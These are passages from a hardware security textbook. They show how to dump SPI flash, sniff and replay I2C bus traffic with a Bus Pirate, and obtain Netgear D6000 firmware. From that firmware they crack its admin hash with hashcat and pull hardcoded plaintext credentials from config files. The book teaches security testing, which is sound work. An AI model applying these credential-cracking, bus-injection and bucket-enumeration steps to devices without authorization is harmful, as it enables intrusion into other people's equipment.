Now, while the device whose memory you’ll read is powered off, con-
nect the Bus Pirate’s USB cable to your computer. You can test your com-
munication with the SPI chip using the flashrom Linux utility, which you can 
download from https://flashrom.org/Flashrom (or most package managers). 
The following command will identify the memory chipset:

# flashrom -p buspirate_spi:dev=/dev/ttyUSB0

Make sure you replace ttyUSB0 with the device descriptor to which the 
USB-to-serial adapter has been assigned. It will usually be something like 
ttyUSB<number>, and you can issue the ls /dev/tty* command to see the 
descriptors on your system. The utility will either identify the SPI chip or 
return the message No EEPROM/flash device found.

https://flashrom.org/Flashrom
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Reading the Memory Chip Contents

Once you’ve established communication with the chip, you can perform a 
read operation to obtain its contents. Issue a read operation using the fol-
lowing flashrom command:

# flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r out.bin 

The -r flag issues a read operation that saves the contents in the speci-
fied file. The -p flag specifies the adapter’s name. The Bus Pirate’s name in 
this context is buspirate_spi, but you should change this name if you’re using 
another adapter. You should see output similar to the following: 

Found Winbond flash chip “W25Q64.V” (8192 kB, SPI).
Block protection is disabled.
Reading flash…

Once the command is done running, the output file should match the 
chip storage size listed in the command output. For this chipset, it was 8MB.

Alternatively, you can get the chip’s contents using the popular spiflash.py 
script from libmpsse. Download the library, created by devttys0, from https://
github.com/devttys0/libmpsse/, then compile and install it: 

# cd libmpsse
# ./configure && make
# make install

If everything worked, you should be able to run spiflash.py. To make 
sure the tool detects the chip correctly and that all your pin connections 
are correct, execute spiflash.py and look for the chipset name in the output. 
To extract the memory stored in the chip, enter the following command:

# spiflash.py -r out.bin -s <size to read> 

For example, to read 8MB, run this command:

# spiflash.py -r out.bin -s $((0x800000))

If you don’t know the size of the flash memory to extract, choose a ran-
dom value large enough to hold the entire flash memory’s contents. 

Now that you’ve extracted the flash memory, you could run the strings 
utility to begin looking at the information or perform further analysis with 
tools like binwalk. You can learn more about firmware security testing in 
Chapter 9.

https://github.com/devttys0/libmpsse/
https://github.com/devttys0/libmpsse/
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I2C
Pronounced “I squared C,” I 2C is a serial communication protocol for low-
speed devices. Phillips Semiconductors developed I2C in the 1980s for com-
munications between components on the same circuit board, but you can 
also use it between components connected via cable. In the IoT world, you’ll 
often find it in microcontrollers, I/O interfaces like keyboards and but-
tons, common household and enterprise devices, and sensors of all types. 
Crucially, even the sensors in many Industrial Control Systems (ICS) use 
I2C, making its exploitation high stakes. 

The main advantage of this protocol is its simplicity. Instead of the four 
wires that SPI uses, I2C has a two-wire interface. In addition, the protocol 
allows hardware without built-in I2C support to use I2C through general 
purpose I/O pins. But its simplicity, and the fact that all data travels over 
the same bus, makes it an easy target if you want to sniff or inject your own 
data. The reason is that no authentication occurs between components in 
IoT devices sharing the same I2C bus.

How I2C Works
 I2C’s simplicity allows hardware to exchange data with no strict speed 
requirements. The protocol uses three lines: the serial data line (SDA) for 
transmitting data, the serial clock line (SCL) to determine when the data 
gets read, and the ground line (GND). SDA and SCL lines are connected to 
the peripherals and they’re open drain drivers, meaning that both lines need 
to be connected to resistors. (You’ll need only one resistor for each line, 
not one for every peripheral.) Voltages vary from 1.8 V, 3.3 V, and 5.0 V, and 
transfers can occur at four different speeds: 100 kHz, or the initial speed 
according to I2C specifications; 400 kHz, which is the fast mode; 1 MHz, 
called high speed mode; and 3.2 MHz, called ultrafast mode.

Like SPI, I2C uses a controller-peripheral configuration. The compo-
nents transfer data over the SDA line, bit by bit, in eight-bit sequences. The 
controller, or multiple controllers, manages the SCL line. An I2C architec-
ture supports more than one controller and one or more peripherals, each 
with unique addresses used for communication. Table 8-2 shows the struc-
ture of a message sent from a controller to a peripheral.

Table 8-2: An I2C Message Sent to a Peripheral over SDA

START

I2C 
address
(7 or 10 
bits)

Read/
Write bit

ACK/
NACK bit

Data
(8 bits)

ACK/
NACK bit

Data
(8 bits) STOP
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The controller begins each message with a START condition that sig-
nals the beginning of the message. Then it sends the peripheral’s address, 
which is usually 7 bits long but can be as long as 10 bits. This allows for 
up to 128 (if using 7-bit addresses) or 1024 peripherals (if using 10-bit 
addresses) on the same bus. The controller also appends a Read/Write bit 
that indicates the kind of operation to perform. An ACK/NACK bit indi-
cates what the following data segment will be. SPI divides the actual data 
into eight-bit sequences, each of which ends in another ACK/NACK bit. 
The controller ends the message by sending the STOP condition. For more 
information about the protocol, visit https://www.i2c-bus.org/.

As mentioned previously, the I2C protocol supports multiple controllers 
on the same bus. This is important, because by connecting to the bus, we 
could act as another controller, and then read and send data to the periph-
erals. In the next section, we’ll set up our own I2C bus architecture so we 
can do exactly that.

Setting Up a Controller-Peripheral I 2C Bus Architecture
To demonstrate how to sniff I2C communications and write data to periph-
erals on the bus, let’s set up a classic controller-peripheral architecture with 
some help from the following open source hardware:

•	 The Arduino Uno microcontroller (https://store.arduino.cc/usa/arduino-uno 
-rev3/) to act as the controller.

•	 One or more BlinkM I2C-controlled RGB LEDs (https://www.sparkfun 
.com/products/8579/) to act as peripherals. You can find the complete 
BlinkM documentation, including examples of other ways to program 
them, at https://thingm.com/products/blinkm/.

We chose to use the Arduino Uno because the analog pins it uses for 
SDA and SCL have built-in resistors, so we won’t need to add pull-up resis-
tors to the circuit. Also, this lets us use Arduino’s official Wire library to 
manage the I2C bus as the controller and send commands to the I2C periph-
erals. Table 8-3 lists the Arduino Uno analog pins that support I2C.

Table 8-3: Arduino Uno Pins for I2C Communications

Arduino analog pin I2C pin

A2 GND

A3 PWR

A4 SDA

A5 SCL

Identify pins A2, A3, A4, and A5 on the Arduino Uno and then connect 
male-to-male Dupont cables to them, as shown in Figure 8-7.

https://www.i2c-bus.org/.
https://store.arduino.cc/usa/arduino-uno-rev3/
https://store.arduino.cc/usa/arduino-uno-rev3/
https://www.sparkfun.com/products/8579/
https://www.sparkfun.com/products/8579/
https://thingm.com/products/blinkm/
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Figure 8-7: The analog pins are located in the bottom-right corner of the Arduino Uno.

Next, identify the GND (-), PWR (+), SDA (d), and SCL (c) pins on 
the BlinkM LED by checking the label at the top of each pin, as shown in 
Figure 8-8.

Figure 8-8: The BlinkM GND, PWR, data, and clock pins are clearly labeled.
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Now, use a breadboard to connect the BlinkM LED and cables to the 
corresponding pins on the Arduino, as described in Table 8-4.

Table 8-4: Arduino/BlinkM Connections

Arduino Uno/BlinkM RGB LED

Pin A2 (GND)  PWR -

Pin A3 (PWR)  PWR +

Pin A4 (SDA)  d (for data)

Pin A5 (SCL)  c (for clock)

Figure 8-9 shows these connections.

Figure 8-9: We can connect SDA and SCL without resistors because the Arduino pins 
include built-in resistors.

If you have more than one I2C peripheral, connect them to the same 
SDA and SCL lines. Choose one line of the breadboard for SDA and 
another one for SCL; then connect the devices to those lines. For example, 
Figure 8-10 shows two connected BlinkMs. BlinkM LEDs of the same type 
all come with the same I2C address (0x09) by default, which is program-
mable, as indicated in the product datasheet available at https://www.infinite 
-electronic.kr/datasheet/e0-COM-09000.pdf. (This illustrates why you should 
always consult the datasheet, if it’s available; the information you find could 
save you reverse engineering efforts. In black box assessments, you might 
not be so lucky.)

https://www.infinite-electronic.kr/datasheet/e0-COM-09000.pdf
https://www.infinite-electronic.kr/datasheet/e0-COM-09000.pdf
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Figure 8-10: An I2C bus supports up to 128 peripherals with 7-bit addresses.

Once you’ve connected the controller (Arduino) and peripheral 
(BlinkM LED), program the Arduino to join the bus and send some com-
mands to the peripherals. We’ll use the Arduino IDE to write the program. 
See Chapter 7 for an introduction to the Arduino, as well as installation 
instructions. In the IDE, select the Arduino board you’re using by click-
ing ToolsBoardArduino/Genuino UNO, and then upload the code in 
Listing 8-1.

#include <Wire.h>

void setup() {
  1 pinMode(13, OUTPUT); //Disables Arduino LED

  pinMode(A3, OUTPUT); //Sets pin A3 as OUTPUT
  pinMode(A2, OUTPUT); //Sets pin A2 as OUTPUT
  digitalWrite(A3, HIGH); //A3 is PWR 
  digitalWrite(A2, LOW); //A2 is GND

  2 Wire.begin(); // Join I2C bus as the controller
}

byte x = 0; 

void loop() {
  3 Wire.beginTransmission(0x09);
  4 Wire.write('c'); 

  Wire.write(0xff); 
  Wire.write(0xc4); 

  5 Wire.endTransmission();
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  x++;
  delay(5000);
} 

Listing 8-1: The I2C controller code that will administer the BlinkM RGB LED

The code configures the Arduino pins for I2C communication 1, joins 
the I2C bus as the controller 2, and, using a loop, periodically sends a mes-
sage to the peripherals with the address 0x09 3. The message contains 
commands to light up the LEDs 4. You can find lengthier descriptions of 
these commands in the BlinkM’s datasheet. Finally, the code sends a STOP 
sequence to indicate the end of the message 5.

Now connect the Arduino Uno to the computer to power the circuit 
and upload your code. The BlinkM RGB LEDs should receive the com-
mands and blink accordingly (Figure 8-11). 

Figure 8-11: The BlinkM LEDs receiving signals via I2C  
from the Arduino Uno

Attacking I2C with the Bus Pirate
Let’s connect the Bus Pirate to our I2C bus and start sniffing communications. 
The Bus Pirate’s firmware has built-in support for I2C. It also has a couple of 
useful macros that we can use to analyze and attack I2C communications. 

We’ll use the following pins on the Bus Pirate: COPI (MOSI), which 
corresponds to the I2C SDA pin; CLK, which corresponds to the SCL pin; 
and GND. Connect these three lines from the Bus Pirate to the I2C bus 
(Table 8-5) using jumper cables.



SPI and I2C   203

Table 8-5: Connections from  
the Bus Pirate to the I2C Bus 

Bus Pirate/Breadboard

COPI (MOSI)  SDA

CLK  SCL

GND  GND

Once the pins are all connected, plug the Bus Pirate into your com-
puter. To interact with it, you’ll need to connect it to the serial communica-
tion (COM) port using the default speed of 115,200 bauds. On Linux, do 
this using the screen or minicom utilities: 

$ screen /dev/ttyUSB0 115200

On Windows, open the Device Manager to see the COM port number. 
Then use PuTTY with the configuration shown in Figure 8-12.

Figure 8-12: Configuring PuTTY to connect to the Bus Pirate

Once you’ve set the configuration in PuTTY, click Open. You should 
now have an established connection.

Detecting I2C Devices

To enumerate all the I2C devices connected to the bus, use the Bus Pirate’s 
I2C library to search the entire address space. This yields all I2C chips 
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connected, as well as undocumented access addresses. We begin by setting 
the Bus Pirate’s mode using the m command: 

I2C>m
1. HiZ
2. 1-WIRE
3. UART
4. I2C
5. SPI
6. 2WIRE
7. 3WIRE
8. LCD
9. DIO
x. exit(without change)

Select 4 to choose the I2C mode, and then set the desired speed:

(1)>4
Set speed:
 1. ~5KHz
 2. ~50KHz
 3. ~100KHz
 4. ~400KHz

(1)>4
Ready

We set a speed of 4, which corresponds to approximately 400 kHz, or the 
I2C fast rate, because the controller, the Arduino Uno, operates on that speed.

The I 2C library supports two macros. The first is the address search macro, 
which will automatically try every I2C address. Then it looks for a response 
to determine how many peripherals are connected and if you can use any 
other addresses, such as broadcast addresses. Execute the macro by enter-
ing the (1) macro command:

I2C>(1)
Searching I2C address space. Found devices at:
0x00(0x00 W) 0xFF(0x7F R)

This macro displays the addresses, followed by the 7-bit address with a 
bit indicating whether the address is for reading or writing. In this case, we 
see the addresses 0x00(W), the BlinkM broadcast address, and 0x7F, which 
belongs to the BlinkM LED. 

Sniffing and Sending Messages

The second macro built into the Bus Pirate’s I 2C library is the sniffer. This 
macro displays all START/STOP sequences, ACK/NACK bits, and data shared through 
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the I2C bus. Once again, we need to put the Bus Pirate in I2C mode, select the 
speed, and then execute macro number two using the command (2):

I2C>(2)
Sniffer
Any key to exit
[0x12][0x12+0x63+]][0x12+0x63+0xFF+0xC4+][0x12+0x63+]][0x12+0x63+]]
[0x12+0x63+]][0x12+0x63+]][0x12+0x63+0xFF+0xC4+][0x12+0x63+0xFF+0xC4+]
[0x12+0xC6-0xFD-][0x12+0x63+0xFF+]]

The captured data appears on the screen using Bus Pirate’s mes-
sage format for I2C, allowing us to copy and paste the message to replay 
it, if desired. Table 8-6 shows the syntax Bus Pirate uses to represent I2C 
characters.

Table 8-6: Bus Pirate Symbols Corresponding to  
I2C Message Components

I2C characters Bus Pirate symbols

START sequence [ or {

STOP sequence ] or }

ACK +

NACK -

Corroborate that your sniffer is working correctly by matching the 
sniffer data with the data sent by the Arduino Uno. 

Now, to send data to any of the peripherals on the bus, enter the mes-
sage on Bus Pirate’s prompt directly or copy any message you want to replay. 
We can see the command structure for changing color in the traffic, and by 
looking at the datasheet, we can deduce its structure. Now we can test it by 
replaying the command:

I2C>[0x12+0x63+0xFF+0xC4+]
I2C START BIT
WRITE: 0x12 NACK
WRITE: 0x63 NACK
WRITE: 0xFF NACK
WRITE: 0xC4 NACK
I2C STOP BIT

The output shows the sequence bits and data you’ve written on the bus. 
Analyze the bus traffic on your own devices to identify patterns, then try 
sending your own commands. If you used the demo I2C bus shown in this 
chapter, you can find more valid commands on the BlinkM’s datasheet.

The stakes of replaying this command are fairly low; we’re only flash-
ing lights in patterns. But in real-world attacks, you could use the same 
technique to write MAC addresses, flags, or factory settings, including serial 
numbers. Using the same approach as we used here, you should be able 
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identify I2C buses on any IoT device and then analyze the communications 
between components to read and send your own data. In addition, due to 
this protocol’s simplicity, it’s very likely you’ll find it in all kinds of devices. 

Conclusion
In this chapter, you learned about two of the most common protocols 
found in IoT devices at the hardware level: SPI and I2C. Fast peripher-
als are likely to implement SPI, whereas I2C can be implemented even in 
microcontrollers that don’t have it embedded by design, due its simplicity 
and cheap hardware requirements. The techniques and tools we discussed 
allow you to take apart devices and analyze them to understand their func-
tionality for identifying security weaknesses. Throughout the chapter, we 
used the Bus Pirate, one of the many great tools available for interacting 
with SPI and I2C. This open source board has robust support for most com-
munication protocols in IoT, including built-in macros for analyzing and 
attacking a wide variety of IoT devices.



The firmware is the software piece that 
links the device’s hardware layer to its main 

software layer. A vulnerability in this part of 
the device can have a tremendous impact on 

all the device functionalities. As a result, it’s crucial 
to identify and mitigate firmware vulnerabilities to 
secure IoT devices. 

In this chapter, we explore what firmware is and how we can retrieve it 
and then analyze it for vulnerabilities. We start by finding user credentials 
in the firmware’s filesystem. Then we emulate some of the firmware’s com-
piled binaries, along with the entire firmware, to perform dynamic analysis. 
We also modify a publicly available firmware to add a backdoor mechanism 
and discuss how to spot a vulnerable firmware update service.

9
F I R M W A R E  H A C K I N G
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Firmware and Operating Systems
Firmware is a type of software that provides communication and control 
over a device’s hardware components. It’s the first piece of code that a 
device runs. Usually, it boots the operating system and provides very spe-
cific runtime services for programs by communicating with various hard-
ware components. Most, if not all, electronic devices have firmware. 

Although firmware is a simpler and more reliable piece of software than 
operating systems, it’s also more restrictive and is designed to support only 
specific hardware. In contrast, many IoT devices run remarkably advanced, 
complex operating systems that support a large family of products. For 
example, IoT devices based on Microsoft Windows typically use operating 
systems such as Windows 10 IoT Core, Windows Embedded Industry (also 
known as POSReady or WEPOS), and Windows Embedded CE. IoT devices 
based on embedded Linux variants often use operating systems such as 
Android Things, OpenWrt, and Raspberry Pi OS. On the other hand, IoT 
devices designed to serve real-time applications that need to process data 
with specific time constraints and without buffer delays are usually based on 
real-time operating systems (RTOS), such as BlackBerry QNX, Wind River 
VxWorks, and NXP MQX mBed. Additionally, “bare-metal” IoT devices, 
designed to support simple microcontroller-based applications, typically 
execute assembly instructions directly on the hardware without advanced 
operating system scheduling algorithms to distribute the system resources. 
Nevertheless, each of these implementations has its own boot sequence with 
compatible bootloaders.

In less complicated IoT devices, the firmware might play the part of the 
operating system. Devices store firmware in nonvolatile memory, such as 
ROM, EPROM, or flash memory. 

It’s important to examine the firmware and then attempt to modify 
it, because we can uncover many security issues during this process. Users 
often alter firmware to unlock new features or customize it. But with the 
same tactics, attackers can gain a better understanding of the system’s inner 
workings or even exploit a security vulnerability.

Obtaining Firmware
Before you can reverse engineer a device’s firmware, you must find a way 
to gain access to it. Usually, there’s more than one method of doing so, 
depending on the device. In this section, we’ll cover the most popular 
firmware extraction methods according to the OWASP Firmware Security 
Testing Methodology (FSTM), which you can find at https://scriptingxss 
.gitbook.io/firmware-security-testing-methodology/.

Often, the easiest way to find the firmware is to explore the vendor’s 
support site. Some vendors make their firmware available to the public to 
simplify troubleshooting. For example, the networking equipment manufac-
turer TP-Link provides a repository of firmware files from routers, cameras, 
and other devices on its website. 

https://scriptingxss.gitbook.io/firmware-security-testing-methodology/
https://scriptingxss.gitbook.io/firmware-security-testing-methodology/
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If the firmware for the specific device isn’t published, try asking the 
vendor for it. Some vendors might simply provide you with the firmware. 
You could directly contact the development team, the manufacturer, or 
another of the vendor’s clients. Make sure you always verify that the person 
you contacted has the vendor’s permission to share the firmware with you. 
It’s definitely worth trying to acquire a development and a release build. 
Doing so will make your testing more effective, because you’ll be able to see 
the differences between the two builds. Also, some protection mechanisms 
might be removed in the development build. For example, Intel RealSense 
provides the production and development firmware of its cameras at https://
dev.intelrealsense.com/docs/firmware-releases/. 

Sometimes you might have to build the firmware manually. This is a 
dreaded practice for some, but a solution is a solution. The firmware source 
code might be publicly accessible, especially in open source projects. In these 
situations, it might be possible to build the firmware by following manufac-
turer published walkthroughs and instructions. The OpenWrt operating 
system used in Chapter 6 is one such open source firmware project and is pri-
marily found in embedded devices to route network traffic. For example, the 
firmware of the GL.iNet routers is based on OpenWrt.

Another common approach is to explore the powerful search engines, 
like Google using Google Dorks. With the proper queries, you can find pretty 
much anything online. Search Google for binary file extensions hosted on 
file-sharing platforms, such as MediaFire, Dropbox, Microsoft OneDrive, 
Google Drive, or Amazon Drive. It’s common to come across firmware images 
uploaded by customers to message boards or customer and corporate blogs. 
Also look at the comment section of sites for communication between cus-
tomers and manufacturers. You might find information about how to get the 
firmware, or you might even find that the manufacturer sent the customer 
a compressed file or link to download the firmware from a file-sharing plat-
form. Here’s an example of a Google Dork for locating firmware files for 
Netgear devices:

intitle:"Netgear"  intext:"Firmware Download"

The intitle parameter specifies text that must exist in the title of the 
page, whereas the intext parameter specifies text that must exist in the page 
content. This search returned the results shown in Figure 9-1. 

In addition, don’t ignore the possibility of finding exposed cloud stor-
age locations. Search Amazon S3 buckets; with enough luck, you could 
find the firmware in a vendor’s unprotected bucket. (For legal reasons, 
make sure the buckets weren’t exposed unintentionally and that the vendor 
has granted you permission to access any existing files.) The S3Scanner 
tool can enumerate a vendor’s Amazon S3 buckets. The tool is written in 
Python 3, which is pre-installed in Kali Linux. You can download the appli-
cation using the git command:

$ git clone https://github.com/sa7mon/S3Scanner

https://dev.intelrealsense.com/docs/firmware-releases/
https://dev.intelrealsense.com/docs/firmware-releases/


210   Chapter 9

Figure 9-1: Discovering firmware links for Netgear devices using a Google Dork  

Then navigate in the application folder and install the required depen-
dencies using the pip3 command, which is also available in Kali Linux:

# cd S3Scanner
# pip3 install -r requirements.txt

Now you can search for a vendor’s Amazon S3 buckets and enumerate 
which of them provide access to firmware:

$ python3 s3scanner.py vendor_potential_buckets.txt 
2020-05-01 11:16:42   Warning: AWS credentials not configured. Open buckets will be shown as 
closed. Run: `aws configure` to fix this.
2020-05-01 11:16:45   [found] : netgear | AccessDenied | ACLs: unknown - no aws creds
2020-05-01 11:16:46   [not found] : netgear-dev
2020-05-01 11:16:46   [not found] : netgear-development
2020-05-01 11:16:46   [not found] : netgear-live
2020-05-01 11:16:47   [not found] : netgear-stag
2020-05-01 11:16:47   [not found] : netgear-staging
2020-05-01 11:16:47   [not found] : netgear-prod
2020-05-01 11:16:48   [not found] : netgear-production
2020-05-01 11:16:48   [not found] : netgear-test
2020-05-01 11:16:52   [found] : tplink | AccessDenied | ACLs: unknown - no aws creds
2020-05-01 11:16:52   [not found] : tplinl-dev 

The parameter vendor_potential_buckets.txt specifies a file of potential 
bucket names for the tool to try. You can create your own similar custom 
file and provide vendor names followed by popular suffixes for S3 buckets, 
such as -dev, -development, -live, -staging, and -prod. The tool initially out-
puts a warning notification that your AWS credentials are missing, but this 
is expected and you can ignore it. Then the tool outputs the discovered S3 
buckets followed by their access status.

If the device comes with companion software, it might be worth trying 
the application analysis approach. By analyzing the device’s mobile com-
panion apps or thick clients—fully functional computers that don’t require 
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a network connection to operate—you might pick up hardcoded endpoints 
that the applications communicate with. One of those endpoints could be 
the one used to download the firmware automatically during the update 
process. Regardless of whether or not this endpoint is authenticated, you 
should be able to download the firmware by analyzing the clients. You can 
find a methodology for analyzing such apps in Chapter 14.

For devices that still receive updates and bug fixes from the manufac-
turer, you can often perform an effective man-in-the-middle attack during 
the OTA updates. These updates are pushed over the network channel 
from a central server, or clusters of servers, to every connected device. 
Depending on the complexity of the application logic that downloads the 
firmware, intercepting the traffic might be the easiest solution. To do that, 
you’ll need to have a trusted certificate installed on the device (assuming 
the transfer occurs over HTTPS) and intercept the traffic using a network 
sniffer, poisoning technique (such as ARP cache poisoning), and proxy that 
can dump binary communication to a file. 

In many devices, it might also be possible to dump the firmware using 
the device bootloader. The bootloader is usually accessible in many ways, 
such as through embedded serial RS232 ports, using special keyboard 
shortcuts, or over the network. Additionally, in most consumer devices,  
the bootloader is programmed to allow flash memory read and write 
operations.

If the hardware contains exposed programming interfaces such as 
UART, JTAG, and SPI, try connecting to these interfaces directly to read 
the flash memory. Chapters 7 and 8 include a detailed explanation of how 
to spot and use these interfaces.

The last and most difficult method is to extract the firmware directly 
from either the flash chip (through SPI, for example) or the microcontroller 
unit (MCU). The MCU is a single chip embedded on the device board that 
contains the CPU, memory, a clock, and a control unit. You’ll need a chip 
programmer to do this.

Hacking a Wi-Fi Modem Router 
In this section, we’ll target the firmware of a very popular Wi-Fi modem 
router, the Netgear D6000. We’ll first extract this firmware’s filesystem and 
search it for user credentials. Then we’ll emulate it for dynamic analysis. 

To find this firmware, navigate to the vendor’s site and find the support 
page for the device model (https://www.netgear.com/support/product/D6000 
.aspx).  You should see a list of available firmware and software downloads 
(Figure 9-2).

Download the files. Because the firmware is in a compressed format, 
use the unzip command to retrieve it. You can install unzip using apt-get:

$ mkdir d6000 && cd d6000
$ wget http://www.downloads.netgear.com/files/GDC/D6000/D6000_V1.0.0.41_1.0.1_FW.zip
unzip D6000_V1.0.0.41_1.0.1_FW.zip

https://www.netgear.com/support/product/D6000.aspx
https://www.netgear.com/support/product/D6000.aspx
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Figure 9-2: Netgear D6000 support page

The wget command is a Unix utility that downloads files from the web in 
a noninteractive way. Without any additional arguments, wget will save the file 
in the current working directory. The unzip utility then creates a folder called 
D6000_V1.0.0.41_1.0.1_FW that contains two files: D6000-V1.0.0.41_1.0.1.bin, 
which is the device firmware, and D6000_V1.0.0.41_1.0.1_Software_Release_Notes 
.html, which contains vendor’s notes for manually installing this firmware on 
the device.

Once you’ve acquired the firmware, you can analyze it for security issues.

Extracting the Filesystem
The firmware for most consumer-grade routers contains the device’s file-
system in a compressed format. Sometimes, the firmware is compressed 
several times using various algorithms (such as LZMA and LZMA2). Let’s 
extract this filesystem, mount it, and search its contents for security vulner-
abilities. To locate the filesystem in the firmware file, use binwalk, which is 
pre-installed in Kali Linux:

$ binwalk -e -M D6000-V1.0.0.41_1.0.1.bin

The -e parameter extracts any identified file from the firmware, such 
as the bootloader and the filesystem. The -M parameter recursively scans 
extracted files and performs a signature analysis to identify file types based 
on common patterns.  But beware; if binwalk can’t correctly identify the 
file types, it can sometimes fill up your hard disk. You should now have a 
new folder named _D6000-V1.0.0.41_1.0.1.bin.extracted that contains the 
extracted contents.

Note that we used binwalk version 2.1.2-a0c5315. Some earlier versions 
couldn’t properly extract the filesystem. We recommend that you use the 
latest binwalk version, which is available on GitHub at https://github.com/
ReFirmLabs/binwalk/.

https://github.com/ReFirmLabs/binwalk/
https://github.com/ReFirmLabs/binwalk/
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Statically Analyzing the Filesystem Contents
Now that we’ve extracted the filesystem, we can navigate through the files 
and attempt to find some useful information. A good approach is to begin 
by searching for low-hanging fruit, such as credentials stored in configura-
tion files or outdated and vulnerable versions of common binaries with 
public advisories. Look for any files called passwd or shadow, which often 
contain information for all user accounts on the system, including the 
users’ passwords. You can do this using common utilities like grep or find 
that come pre-installed in any Unix system:

~/d600/_D6000-V1.0.0.41_1.0.1.bin.extracted$ find . -name passwd 
./squashfs-root/usr/bin/passwd
./squashfs-root/usr/etc/passwd

Using the . command, we instruct the Find tool to search the current 
working directory for the file indicated by the -name parameter. In this case, 
we’re looking for a file named passwd.  As you can see, we’ve located two 
files with that name.

The bin/passwd binary file doesn’t give us useful information in its cur-
rent form. On the other hand, the etc/passwd file is in a readable format. You 
can read it using the cat utility:

$ cat ./squashfs-root/usr/etc/passwd
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh$ 

The etc/passwd file contains a text-based database that lists the users 
who can authenticate to the system. Currently, there is only one entry, 
which is for the device’s administrator.  The entry has the following fields, 
divided by colons: the username, the hash of the user’s password, the user 
identifier, the group identifier, extra information about the user, the path 
of the user’s home folder, and the program executed on user login. Let’s 
turn our attention to the password hash ($1$$iC.dUsGpxNNJGeOm1dFio/). 

Cracking the Device’s Admin Credentials

Use hashid to detect the admin password’s hash type. This tool is pre-
installed in Kali Linux, and it can identify more than 220 unique types of 
hashes via regular expressions:

$ hashid $1$$iC.dUsGpxNNJGeOm1dFio/
Analyzing '$1$$iC.dUsGpxNNJGeOm1dFio/'
[+] MD5 Crypt
[+] Cisco-IOS(MD5) 
[+] FreeBSD MD5 

According to the output, we’ve found an MD5 Crypt hash. Now we can 
try to crack this password using a brute-forcing tool, like john or hashcat. 
These tools cycle through a list of potential passwords, looking for one that 
matches the hash.
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$ hashcat -a 3 -m 500 ./squashfs-root/usr/etc/passwd
…
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$$iC.dUsGpxNNJGeOm1dFio/
Time.Started.....: Sat Jan 11 18:36:43 2020 (7 secs)
Time.Estimated...: Sat Jan 11 18:36:50 2020 (0 secs)
Guess.Mask.......: ?1?2?2 [3]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined 
Guess.Queue......: 3/15 (20.00%)
Speed.#2.........:     2881 H/s (0.68ms) @ Accel:32 Loops:15 Thr:8 Vec:1
Speed.#3.........:     9165 H/s (1.36ms) @ Accel:32 Loops:15 Thr:64 Vec:1
Speed.#*.........:    12046 H/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 80352/80352 (100.00%)
Rejected.........: 0/80352 (0.00%)
Restore.Point....: 205/1296 (15.82%)
Restore.Sub.#2...: Salt:0 Amplifier:61-62 Iteration:990-1000
Restore.Sub.#3...: Salt:0 Amplifier:61-62 Iteration:990-1000
Candidates.#2....: Xar -> Xpp
Candidates.#3....: Xww -> Xqx

$1$$iC.dUsGpxNNJGeOm1dFio/:1234                  [s]tatus [p]ause [b]ypass [c]
heckpoint [q]uit => 

The -a parameter defines the attack mode used to guess the plaintext 
passwords. We select mode 3 to perform a brute-force attack. Mode 0 would 
perform a wordlist attack, and mode 1 would perform the combinator attack, 
which appends each word in a dictionary to each word in another dictionary. 
You could also perform more specialized attacks using modes 6 and 7. For 
example, if you knew that the last character in a password was a number, you 
could configure the tool to try passwords that only end in a number.

The -m parameter defines the type of hash we’re trying to crack, and 500 
represents an MD5 Crypt. You can find more details about the supported 
hash types on the hashcat web page (https://hashcat.net/hashcat/).

We recovered the password 1234. It took hashcat less than a minute to 
crack it! 

Finding Credentials in Configuration Files

Using a similar approach to the one at the beginning of this section where 
we located the passwd file, let’s search the firmware for other secrets. You 
can often find hardcoded credentials in the configuration files, which end 
in the cfg extension. The device uses these files to configure the initial state 
of a service. 

Let’s search for files with the cfg extension using the find command:

$ find . -name *cfg
./userfs/profile.cfg
./userfs/romfile.cfg
./boaroot/html/NETGEAR_D6000.cfg

https://hashcat.net/hashcat/


Firmware Hacking   215

./boaroot/html/romfile.cfg

./boaroot/html/NETGEAR_D6010.cfg

./boaroot/html/NETGEAR_D3610.cfg

./boaroot/html/NETGEAR_D3600.cfg

You can then look through the configuration files for relevant infor-
mation. In romfile.cfg, for example, we find a number of hardcoded user 
account credentials:

$ cat ./squashfs-root/userfs/romfile.cfg
…
<Account>
    <Entry0 username="admin" web_passwd="password" console_passwd="password" display_mask="FF 
FF F7 FF FF FF FF FF FF" old_passwd="password" changed="1" temp_passwd="password" expire_
time="5" firstuse="0" blank_password="0"/>
    <Entry1 username="qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui
opqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui" web_pas
swd="123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890 
12345678901234567890123456789012345678" display_mask="F2 8C 84 8C 8C 8C 8C 8C 8C"/>
    <Entry2 username="anonymous" web_passwd="anon@localhost" display_mask="FF FF F7 FF FF FF FF 
FF FF"/>
</Account>
…

We’ve discovered three new users called admin, qwertyuiopqwertyui 
opqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui 
opqwertyuiopqwertyuiopqwertyuiopqwertyui, and anonymous with their  
corresponding passwords, which are in plaintext this time. 

Remember that we’ve already cracked the credentials for the admin 
account, yet the password we recovered doesn’t match the one listed here. 
It’s likely that the first password we found will be replaced by the one in 
the configuration file on the first boot. Vendors often use configuration 
files to perform security-related changes when initializing a device. This 
approach also permits vendors to deploy the same firmware in devices that 
support different functionalities and require specific settings to operate 
successfully.   

Automating Firmware Analysis

The Firmwalker tool can automate the information gathering and analysis 
process we just walked through. Install it from https://github.com/craigz28/
firmwalker/, and then run it:

$ git clone https://github.com/craigz28/firmwalker
$ cd firmwalker
$ ./firmwalker.sh ../d6000/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-root/
***Firmware Directory***
../d6000/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-root/
***Search for password files***
##################################### passwd
/usr/etc/passwd
/usr/bin/passwd

 https://github.com/craigz28/firmwalker/
 https://github.com/craigz28/firmwalker/
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##################################### shadow
##################################### *.psk
***Search for Unix-MD5 hashes***
***Search for SSL related files***
##################################### *.crt
/usr/etc/802_1X/Certificates/client.crt
##################################### *.pem
/usr/etc/key.pem
